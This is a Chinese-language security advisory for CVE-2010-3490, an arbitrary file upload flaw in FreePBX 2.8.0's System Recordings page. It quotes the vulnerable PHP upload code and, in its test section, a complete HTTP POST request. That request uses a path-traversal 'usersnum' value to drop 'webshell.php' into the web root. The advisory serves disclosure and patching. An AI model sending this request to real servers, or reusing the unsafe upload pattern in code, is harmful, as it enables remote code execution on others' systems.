FreePBX系统记录菜单任意文件上传漏洞


FreePBX系统记录菜单任意文件上传漏洞

发布日期:2010-09-23
更新日期:2010-09-25

受影响系统:
FreePBX FreePBX 2.8.0
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 43454
CVE ID: CVE-2010-3490

FreePBX之前被称为Asterisk Management Portal,是IP电话工具Asterisk的标准化实现,可提供Web配置界面和其他工具。

FreePBX以不安全方式处理了文件上传,用户可以通过配置界面的系统记录菜单控制文件扩展名及所上传文件名的开始部分。

以下page.recordings.php中的代码段显示的是记录上传功能:

/* Code removed to fit better on advisory */

<?php
  if (isset($_FILES['ivrfile']['tmp_name']) &&
  is_uploaded_file($_FILES['ivrfile']['tmp_name'])) {
    if (empty($usersnum)) {
      $dest = "unnumbered-";
    } else {
      $dest = "{$usersnum}-";
    }
    $suffix = substr(strrchr($_FILES['ivrfile']['name'], "."), 1);
    $destfilename = $recordings_save_path.$dest."ivrrecording.".$suffix;
    move_uploaded_file($_FILES['ivrfile']['tmp_name'], $destfilename);
    echo "<h6>"._("Successfully uploaded")."
      ".$_FILES['ivrfile']['name']."</h6>";
    $rname = rtrim(basename($_FILES['ivrfile']['name'], $suffix), '.');
  } ?>

/* Code removed to fit better on advisory */

在上传文件时,拷贝临时保存到了/tmp/目录下,文件名由user-controlled-staticname.extension组成,其中:

user-controlled是$usersnum变量
staticname值是-ivrrecording
extension由用户控制

如果没有定义$usersnum变量,则会使用静态字符串unnumbered。

最后,当用户在System Recordings界面点击保存键时,就会在/var/lib/asterisk/sounds/custom/目录下以用户所提供的原始文件名保存文件。

在上传文件时,攻击者可以操控$usersnum变量执行目录遍历攻击,将其保存到Web Server用户可访问的任意位置,如Apache的DocumentRoot。这允许攻击者向服务器上上传恶意代码并以webserver访问权限执行。

<*来源:Wendel G. Henrique
 
  链接:https://www.trustwave.com/spiderlabs/advisories/TWSL2010-005.txt
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

POST /admin/config.php HTTP/1.1
Host: 10.10.1.3
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5;
en-US; rv:1.9.1.7) Gecko/20101221 Firefox/3.5.7
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Referer: http://10.10.1.3/admin/config.php
Cookie: ARI=cookieValue; PHPSESSID=cookieValue
Authorization: Basic base64auth
Content-Type: multipart/form-data;
boundary=---------------------------5991806838789183981588991120
Content-Length: 116089

-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="display"

recordings
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="action"

recordings_start
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="usersnum"

../../../../../var/www/html/admin/SpiderLabs
-----------------------------5991806838789183981588991120
Content-Disposition: form-data; name="ivrfile"; filename="webshell.php"
Content-Type: application/octet-stream

<?php
/* WebShell code goes here */
?>

-----------------------------5991806838789183981588991120--

建议:
--------------------------------------------------------------------------------
厂商补丁:

FreePBX
-------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.freepbx.org/trac/ticket/4553

相关内容